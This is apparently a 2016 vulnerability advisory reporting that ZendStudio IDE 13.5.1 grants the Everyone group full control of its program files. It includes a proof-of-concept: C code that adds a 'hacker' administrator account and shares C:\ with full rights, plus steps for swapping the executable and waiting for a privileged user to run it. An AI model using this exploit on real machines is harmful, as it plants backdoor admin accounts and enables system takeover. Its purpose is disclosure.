[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] ISR: ApparitionSec
ZendStudio IDE v13.5.1
Zend Studio is the leading PHP IDE. It is the only PHP IDE that combines mobile
development with PHP and includes a sample mobile
app with source code.
ZendStudio IDE uses weak insecure permissions settings on its files/directory
as the Everyone group has full access on it.
Allowing low privileged users to execute arbitrary code in the security context
of ANY other users with elevated privileges
on the affected system.
"Everyone" encompasses all users who have logged in with a password as well as
built-in, non-password protected accounts such as Guest
Any user (even guest) will be able to replace, modify or change the file. This
would allow an attacker the ability to inject code or
replace the ZendStudio executable and have it run in the context of the system.
c:\Program Files (x86)\Zend\Zend Studio 13.5.1> icacls ZendStudio.exe
x86_64 version ...
c:\Program Files\Zend>icacls * | more
Zend Studio 13.5.1 Everyone:(F)
1) Compile below 'C' code name it as "ZendStudio.exe"
system("net user hacker abc123 /add");
system("net localgroup Administrators hacker /add");
system("net share SHARE_NAME=c:\ /grant:hacker,full");
WinExec("C:\\Program Files (x86)\\Zend\\Zend Studio
2) Rename original "ZendStudio.exe" to "~ZendStudio.exe"
3) Place our malicious "ZendStudio.exe" in the ZendStudio directory
4) Logout and wait for a more privileged user to login and use ZendStudio IDE
then BOOM!!!!! later,
go back and login with your shiny new account.
Vendor Notification: September 30, 2016
October 8, 2016 : Public Disclosure
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided
that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.